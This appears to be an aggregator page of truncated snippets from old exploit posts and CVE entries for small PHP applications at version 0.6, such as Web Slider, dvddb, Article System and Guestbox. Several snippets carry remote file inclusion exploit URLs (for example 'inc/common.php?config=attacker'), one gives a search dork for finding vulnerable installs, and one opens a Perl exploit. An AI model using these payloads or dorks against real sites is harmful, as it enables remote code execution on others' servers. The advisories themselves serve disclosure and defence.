Web Slider 0.6 - path Remote File Inclusion

Web Slider 0.6 - path Remote File Inclusion Web Slider 0.6pathRemote File Inclusion Vulnerabilities D.Script: http://sourceforge.net/projects/webslider/ Discovered by: GolDM = Mahmoodali Homepage: http://Www.Tryag.Com/cc Exploit:Path/index.php?path=Shell Exploit:Path/modules/pdf.php?path=Shell...

Web Slider 0.6 - 'path' Remote File Inclusion

Web Slider 0.6pathRemote File Inclusion Vulnerabilities D.Script: http://sourceforge.net/projects/webslider/ Discovered by: GolDM = Mahmoodali Homepage: http://Www.Tryag.Com/cc Exploit:Path/index.php?path=Shell Exploit:Path/modules/pdf.php?path=Shell Exploit:Path/plugins/highlight.php?path=Shell...

CVE-2007-0794

CVE-2007-0794 describes a SQL injection vulnerability in GlobalMegaCorp dvddb 0.6, specifically in inc/common.php via the user parameter, potentially allowing remote arbitrary SQL execution. Some sources note the issue is disputed and that the file may contain only function definitions. Connected...

CVE-2007-0793

CVE-2007-0793 describes a PHP remote file inclusion vulnerability in inc/common.php of GlobalMegaCorp dvddb 0.6, allowing remote attackers to execute arbitrary PHP code via a URL supplied in the config parameter. The affected component is the dvddb app’s common.php handling of config paths; root ...

dvddb06-rfi.txt

Title : dvddb-0.6 media remote file include vuln. Author : Blaster Download : http://globalmegacorp.org/dvddb/dvddb-0.6.zip Contact : [email protected] Vuln Code: require$config /"themes"; ExpLoit : http://target/path/inc/common.php?config=attacker GreetZ: BLaCKWHITE, HackerBox.Eu...

PT-2007-2239 · Globalmegacorp · Dvddb

Name of the Vulnerable Software and Affected Versions: GlobalMegaCorp dvddb version 0.6 Description: The issue concerns a SQL injection vulnerability, which allows remote attackers to execute arbitrary SQL commands. This is achieved via the user parameter. However, it's worth noting that the...

dvddb-0.6 media remote file include vuln.

Title : dvddb-0.6 media remote file include vuln. Author : Blaster Download : http://globalmegacorp.org/dvddb/dvddb-0.6.zip Contact : [email protected] Vuln Code: require$config /"themes"; ExpLoit : http://target/path/inc/common.php?config=attacker GreetZ: BLaCKWHITE, HackerBox.Eu...

yaplap 0.6.1b - ldap.php Remote File Inclusion

yaplap 0.6.1b - ldap.php Remote File Inclusion !/usr/bin/perl yaplap Remote File Inclusion Vulnerablity Version 0.6 & 0.6.1 Class = Remote File Inclusion Bug Found & Exploit coded By DeltahackingTEAM Dr.Trojan&Dr.Pantagon...

CVE-2006-5766

PHP remote file inclusion vulnerability in volume.php in Article System 0.6 allows remote attackers to execute arbitrary PHP code via a URL in the configpublicdir parameter...

CVE-2006-5766

CVE-2006-5766 affects Article System 0.6, specifically the volume.php component. The vulnerability is a PHP remote file inclusion that allows an attacker to execute arbitrary PHP code by supplying a URL in the config[public_dir] parameter. This leads to potential full compromise of the affected a...

Article System 0.6 (volume.php) Remote File Include Vulnerability

No description provided by source. Coding 4 Fun c4f.pl Article System 0.6 ; Class = Remote File Inclusion ; Download = http://sourceforge.net/project/showfiles.php?groupid=49971&packageid=43403&releaseid=325871 ; Found by = GregStar gregstaratc4fdotpl ;...

Article System 0.6 (volume.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================= Article System 0.6 volume.php Remote File Include Vulnerability ================================================================= Coding 4 Fun c4f.pl Article System 0.6 ;...

Article System 0.6 - 'volume.php' Remote File Inclusion

Coding 4 Fun c4f.pl Article System 0.6 ; Class = Remote File Inclusion ; Download = http://sourceforge.net/project/showfiles.php?groupid=49971&packageid=43403&releaseid=325871 ; Found by = GregStar gregstaratc4fdotpl ;...

DEBIAN-CVE-2006-3379

Algorithmic complexity vulnerability in Hiki Wiki 0.6.0 through 0.6.5 and 0.8.0 through 0.8.5 allows remote attackers to cause a denial of service CPU consumption by performing a diff between large, crafted pages that trigger the worst case...

CVE-2006-3346

SQL injection vulnerability in tree.php in MyNewsGroups 0.6 allows remote attackers to execute arbitrary SQL commands via the grpid parameter...

guestbook06.txt

author.: l0om - www.excluded.org product: guestbox latest non-BETA 0.6 page: http://spring.realone.ch dork: "Login - Guestbox 0.6" inurl:guestbox.php someone asked me to check the guestbook named "guestbox" and thats the advisory based on my checks. 1.0 everyone can set admin comments to all...

Design/Logic Flaw

Michael Salzer Guestbox 0.6, and other versions before 0.8, allows remote attackers to post an admin comment to a guestbook entry via a certain modified form, possibly related to the nummer parameter...

CVE-2006-0859

CVE-2006-0859 affects Michael Salzer Guestbox 0.6 and earlier versions up to 0.7/0.8 pre-release? It describes a vulnerability where remote attackers can post an admin comment to a guestbook entry via a modified form, possibly related to the nummer parameter. The connected sources corroborate the...

CVE-2006-0861

Michael Salzer Guestbox 0.6, and other versions before 0.8, allows remote attackers to obtain the source IP addresses of guestbook entries via a direct request to /gb/gblog...

CVE-2006-0582

Unspecified vulnerability in rshd in Heimdal 0.6.x before 0.6.6 and 0.7.x before 0.7.2, when storing forwarded credentials, allows attackers to overwrite arbitrary files and change file ownership via unknown vectors...